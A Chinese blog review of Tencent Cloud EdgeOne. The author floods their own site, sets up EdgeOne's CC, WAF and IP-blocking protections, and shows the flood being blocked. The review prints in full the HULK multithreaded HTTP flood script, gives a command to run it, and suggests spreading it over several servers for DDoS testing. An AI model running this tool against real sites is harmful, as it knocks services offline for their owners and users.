腾讯EdgeOne产品测评体验—腾讯云Edgeone为我的网站保驾护航

前言

众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。

本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。

边缘安全加速平台介绍

边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。

一张图看懂EdgeOne是什么。

请在此添加图片描述

如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。

简单来讲,EdgeOne 就是CDN和高仿服务器的结合体

更详细的介绍可以移步至官网。

模拟网站被攻击

在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。

攻击脚本

这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。

仅用于学习和教育目的,不应该用于任何非法或不道德的活动。

import urllib2
import sys
import threading
import random
import re#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0def inc_counter():global request_counterrequest_counter+=1def set_flag(val):global flagflag=valdef set_safe():global safesafe=1# generates a user agent array
def useragent_list():global headers_useragentsheaders_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')return(headers_useragents)# generates a referer array
def referer_list():global headers_referersheaders_referers.append('http://www.google.com/?q=')headers_referers.append('http://www.usatoday.com/search/results?q=')headers_referers.append('http://engadget.search.aol.com/search?q=')headers_referers.append('http://' + host + '/')return(headers_referers)#builds random ascii string
def buildblock(size):out_str = ''for i in range(0, size):a = random.randint(65, 90)out_str += chr(a)return(out_str)def usage():print '---------------------------------------------------'print 'USAGE: python hulk.py <url>'print 'you can add "safe" after url, to autoshut after dos'print '---------------------------------------------------'#http request
def httpcall(url):useragent_list()referer_list()code=0if url.count("?")>0:param_joiner="&"else:param_joiner="?"request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))request.add_header('User-Agent', random.choice(headers_useragents))request.add_header('Cache-Control', 'no-cache')request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))request.add_header('Keep-Alive', random.randint(110,120))request.add_header('Connection', 'keep-alive')request.add_header('Host',host)try:urllib2.urlopen(request)except urllib2.HTTPError, e:#print e.codeset_flag(1)print 'Response Code 500'code=500except urllib2.URLError, e:#print e.reasonsys.exit()else:inc_counter()urllib2.urlopen(request)return(code)  #http caller thread 
class HTTPThread(threading.Thread):def run(self):try:while flag<2:code=httpcall(url)if (code==500) & (safe==1):set_flag(2)except Exception, ex:pass# monitors http threads and counts requests
class MonitorThread(threading.Thread):def run(self):previous=request_counterwhile flag==0:if (previous+100<request_counter) & (previous<>request_counter):print "%d Requests Sent" % (request_counter)previous=request_counterif flag==2:print "\n-- HULK Attack Finished --"#execute 
if len(sys.argv) < 2:usage()sys.exit()
else:if sys.argv[1]=="help":usage()sys.exit()else:print "-- HULK Attack Started --"if len(sys.argv)== 3:if sys.argv[2]=="safe":set_safe()url = sys.argv[1]if url.count("/")==2:url = url + "/"m = re.search('http\://([^/]*)/?.*', url)host = m.group(1)for i in range(500):t = HTTPThread()t.start()t = MonitorThread()t.start()

攻击脚本执行

在脚本目录执行 python hulk.py http://www.xxx.xx对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)

可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。

此时我的服务器监控是这样的。

网站快速接入 EdgeOne

接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。

前提条件(注意事项)

在接入EdgeOne之前,有两个注意事项:

  1. 域名要先备案,否则无法接入。如果没有备案的前往域名备案处,备案时长大概10~15天。
  2. 如果是阿里云的域名,需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。

一定要注意!!!

添加站点

在进入EdgeOne控制台后添加一个站点,如下图。

输入站点名称,填写域名即可。

选择EdgeOne套餐,这里已经购买,直接选择。

接下来选择加速区和接入模式。

这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。

最后将DNS解析添加至域名解析处,验证完成即可。

添加加速域名

站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:

1.进入站点添加域名。

2.配置域名

这里的配置项简单说明一下:

加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。

源站配置:配置你的服务器IP。

IPv6 访问:根据自己的需求配置。

回源协议:根据自己的需求配置。

回源端口:根据自己的需求配置。

配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。

最后,在云解析DNS按照下图中配置添加解析记录。

使用免费证书部署域名

边缘安全加速平台 EO 使用免费证书部署至 EdgeOne 域名-域名服务-文档中心-腾讯云

免费HTTPS证书是如今广大开发者和个人站长所关注的焦点之一。在当今互联网环境下,HTTPS访问已经成为现代网站的必备功能之一。如果网站没有启用HTTPS,不仅会影响网站安全性,还会降低搜索引擎排名。因此,在创建个人博客时,需要为自己的域名申请SSL证书,以实现HTTPS访问。虽然申请SSL证书的方式有很多种,但是传统的申请和部署方式往往比较繁琐,而且免费证书通常有时效性限制,需要定期手动更新

如果您当前网站还未购买 HTTPS 证书,且加速域名不包含泛域名,可申请使用免费证书来测试支持 HTTPS 访问。

说明:

  1. 免费证书由 Let’s Encrypt - 免费的SSL/TLS证书 机构颁发,如果您的站点当前为 NS 接入的方式,可申请泛域名证书,如果当前为 CNAME 接入,EdgeOne 只支持申请单域名证书,不支持申请泛域名证书。
  2. 证书有效期为3个月,到期前平台将自动为您申请续期,无需您手动更新。如果您当前是 NS 接入,切换至 CNAME 接入后,申请的泛域名证书到期后将无法自动续期。
  3. 免费证书不支持下载。
  4. 如果域名是 CNAME 接入,您还需要完成 CNAME 配置并等待 CNAME 状态生效,才可以为该域名申请免费 SSL 证书。

EdgeOne的免费HTTPS证书功能极大简化了这一流程,提供一键申请和自动续期服务,**无需手动更新,全程自动化管理。**快速开启HTTPS访问。申请免费证书只需简单几步操作即可完成,以下是申请和部署免费证书至EdgeOne的操作步骤:

  1. 登录 登录 - 腾讯云,通过站点列表,选择需配置的站点,进入站点管理二级菜单。
  2. 在左侧导航栏中,单击域名服务 > 域名管理。
  3. 在域名管理页面,选择待配置证书的域名,在 HTTPS 列内单击编辑,弹出 HTTPS 证书配置。

  1. 选择申请免费证书后,单击**确定,**即可完成免费证书的申请和安装。
  2. 部署完成后,您可以在域名管理列表页中,将鼠标悬停于已配置图标上,可展示当前已部署的证书信息。

EdgeOne 安全防护

现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。

CC攻击防护

再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。

这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。

这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。

此时,再次执行脚本,就会发现网站已经起到防护效果。如下图

DDos攻击防护

有条件的用户可以将攻击脚本分发到多台服务器进行DDos测试。

自定义防护规则

EdgeOne还支持自定义防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。

我们可以根据自己的需求进行配置,简单明了。例如,我们可以把刚才防护的客户端IP进行封禁。如下图

当我再次执行脚本时,就会返回对应的错误码了。

还有各种自定义配置详细说明,可以移步边缘安全加速平台 EO > 安全防护 > Web 防护 > 自定义规则。

OWASP防护

除此之外,EdgeOne还默认提供包含 OWASP top10 在内的托管规则。能够有效防御如 SQL 注入、XSS 攻击、webshell 上传、命令注入等攻击。

例如,我现在在浏览器地址中输入JS脚本进行XSS攻击,可以看到EdgeOne直接帮我们进行了拦截。

控制台中也可以看到相关拦截记录。

EdgeOne 体验感受

经过本次实践,EdgeOne给我留下了以下几点深刻的感受:

  1. EdgeOne实现的安全防护与加速一体化功能,明显提升了产品的性能和用户接受度,企业无需再分别采购CDN、DDoS等独立服务,大大简化了企业的选择与部署流程。
  2. 在配置方面,EdgeOne提供了全站一键配置,用户只需通过简单的操作即可实现全局配置,不用进行繁琐的手动设置,大大简化了配置流程,对于用户来说,提高了产品的易用性。
  3. 特别关注了EdgeOne的计费模式,发现EdgeOne在计费方面有一定的优势,如“干净流量”计费模式。也就是说,以后网站的安全防护、加速成本会大大的降低。

总结

在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。

两三百元钱就可以体验到像CC/WAF/速率限制这种高级安全能力,相当可以了,还可以证书自动续期部署,EdgeOne这个产品很良心了,感兴趣的朋友可以点击链接了解详情:https://cloud.tencent.com/act/pro/edgeone_techoday_promotion?from=22008

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819986.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

视频怎么用二维码来分享?手机扫码看视频更方便

怎么把制作的视频快速以二维码的形式分享给其他人呢&#xff1f;视频是很多内容重要的一种展示方式&#xff0c;为了能够让其他人更加方便的查看视频内容&#xff0c;现在很多人会选择视频转二维码的方式来提供预览。将视频存储到云端然后通过扫码来调取&#xff0c;不仅减少了…

DHCP小实验

实验要求&#xff1a; 看拓扑有两个网段则我们首先需要对200.1.1.0/26进行子网划分&#xff0c;划分为两个子网&#xff0c;为200.1.1.0/27和200.1.1.32/27 我门就可以一边一个网段了&#xff0c;左边为200.1.1.0/27&#xff0c;右边为200.1.1.32/27 1、配置PC1&#xff0c;2…

2024蓝桥杯——宝石问题

先展示题目 声明 以下代码仅是我的个人看法&#xff0c;在自己考试过程中的优化版&#xff0c;本人考试就踩了很多坑&#xff0c;我会—一列举出来。代码可能很多&#xff0c;但是总体时间复杂度不高只有0(N) 函数里面的动态数组我没有写开辟判断和free&#xff0c;这里我忽略…

MySQL——基础

SQL 全称 Structured Query Language&#xff0c;结构化查询语言。操作关系型数据库的编程语言&#xff0c;定义了一套操作关系型数据库统一标准 。 SQL 通用语法 SQL语句可以单行或多行书写&#xff0c;以分号结尾。SQL语句可以使用空格/缩进来增强语句的可读性。MySQL数据库…

一文速览铁威马TOS 6全新“文件管理”

TOS 6 Beta已经上线一段时间了&#xff0c;各位铁粉用着怎么样呢&#xff1f;今天就和大家分享&#xff0c;TOS 6全新文件管理。 为了向用户提供更流畅、更便捷的文件管理体验&#xff0c;铁威马的研发团队积极借鉴了Windows OS和Mac OS在文件管理方面的优点&#xff0c;投入巨…

【echarts】echarts入门教程,学会如何编写echarts代码

echarts模板 使用&#xff01;为html来创建一个模板。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><titl…

Open3D (C++) 点云投影至主成分空间

目录 一、算法原理二、代码实现三、结果展示四、相关连接Open3D (C++) 点云投影至主成分空间由CSDN点云侠原创,爬虫自重。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、算法原理 p r o j

原始部落版本潮玩宇宙小程序定制大逃杀游戏APP开发H5游戏

原始部落版本潮玩宇宙小程序定制大逃杀游戏APP开发H5游戏 潮玩宇宙小程序定制大逃杀游戏APP开发H5游戏 潮玩宇宙大逃杀小游戏模块成品源码&#xff0c;可嵌入任何平台系统&#xff0c;增加用户粘性&#xff0c;消除泡沫&#xff0c;短视频直播引流。 玩家选择一间房间躲避杀手…

第二期书生浦语大模型训练营第五次作业

部署LMDeploy并对话 配置LMDeploy运行环境 安装好环境&#xff0c;并成功激活 使用transformer运行大模型 使用LMDeploy模型量化(lite) KV8量化和W4A16量化。KV8量化是指将逐 Token&#xff08;Decoding&#xff09;生成过程中的上下文 K 和 V 中间结果进行 INT8 量化&#…

【安装部署】Apache SeaTunnel 和 Web快速安装详解

版本说明 由于作者目前接触当前最新版本为2.3.4 但是官方提供的web版本未1.0.0&#xff0c;不兼容2.3.4&#xff0c;因此这里仍然使用2.3.3版本。 可以自定义兼容处理&#xff0c;官方提供了文档&#xff1a;https://mp.weixin.qq.com/s/Al1VmBoOKu2P02sBOTB6DQ 因为大部分用…

引领智能互联时代,紫光展锐赋能百业创新发展

随着5G技术的快速发展&#xff0c;各行各业对通信技术的需求也在不断升级。紫光展锐持续深耕5G垂直行业&#xff0c;不断推进5G标准演进&#xff0c;从R15到R16&#xff0c;再到R17&#xff0c;展锐携手生态合作伙伴&#xff0c;不断推出创新性解决方案&#xff0c;在5G RedCap…

【Unity】RPG小游戏创建游戏中的交互

RPG小游戏创建游戏中的交互 创建可交互的物体的公共的父类&#xff08;Interactable&#xff09;InteractableObject 类NPCObject 类PickableObject 类 创建可交互的物体的公共的父类&#xff08;Interactable&#xff09; InteractableObject 类 using System.Collections; u…

【攻防世界】warmup

[HCTF 2018]WarmUp全网最详细解释_[hctf 2018]warmup的解-CSDN博客 php://filter 读取源码&#xff08;文件&#xff09; php://input 执行php代码&#xff0c;需要post请求提交数据 Content-Type为image/jpeg text. 绕过后缀的有文件格式有php,php3,php4,php5,pht…

【Unity 实用工具篇】 | UIEffect 实现一系列UGUI特效,灰度、负片、像素化特效

前言 【Unity 实用工具篇】 | UIEffect 实现一系列UGUI特效&#xff0c;灰度、负片、像素化特效一、UGUI特效插件&#xff1a;UIEffect1.1 介绍1.2 效果展示1.3 使用说明及下载 二、组件属性面板三、代码操作组件四、组件常用方法示例4.1 使用灰度特效做头像(关卡)选择 总结 前…

03-JAVA设计模式-迭代器模式

迭代器模式 什么是迭代器模式 迭代器模式&#xff08;demo1.Iterator Pattern&#xff09;是Java中一种常用的设计模式&#xff0c;它提供了一种顺序访问一个聚合对象中各个元素&#xff0c;而又不需要暴露该对象的内部表示的方法。迭代器模式将遍历逻辑从聚合对象中分离出来…

IP地址归属地与旅游业应用

在当今数字化时代&#xff0c;IP地址归属地已成为许多行业的重要工具&#xff0c;其中包括旅游业。IP地址归属地是指将特定IP地址与其地理位置相关联的过程。在旅游业中&#xff0c;利用IP地址归属地可以提供多种应用&#xff0c;从客户定位到个性化推广&#xff0c;以及旅游数…

树--排序二叉树的删除

一、二叉排序树的删除 二叉排序树的删除情况比较复杂&#xff0c;有以下三种情况需要考虑。 删除叶子节点 &#xff08;比如&#xff1a;2,5,9,10&#xff09;删除只有一个子树的节点&#xff08;比如&#xff1a;1&#xff09;删除有两个子树的节点 &#xff08;比如&#x…

YAPI第一次创建项目

黑马程序员JavaWeb开发教程 文章目录 1、添加项目2、添加分类3、添加接口 1、添加项目 2、添加分类 3、添加接口

数据结构:线性表————单链表专题

&#x1f308;个人主页&#xff1a;小新_- &#x1f388;个人座右铭&#xff1a;“成功者不是从不失败的人&#xff0c;而是从不放弃的人&#xff01;”&#x1f388; &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd; &#x1f3c6;所属专栏&#xff1…

STM32的GPIO端口的八种模式解析

目录 STM32的GPIO端口的八种模式解析 一、上拉输入模式 二、下拉输入模式 三、浮空输入模式 四、模拟输入模式 五、推挽输出模式 六、开漏输出模式 七、复用推挽输出模式 八、复用开漏输出模式 STM32的GPIO端口的八种模式解析 在学习STM32的过程中&#xff0c;GPIO端口…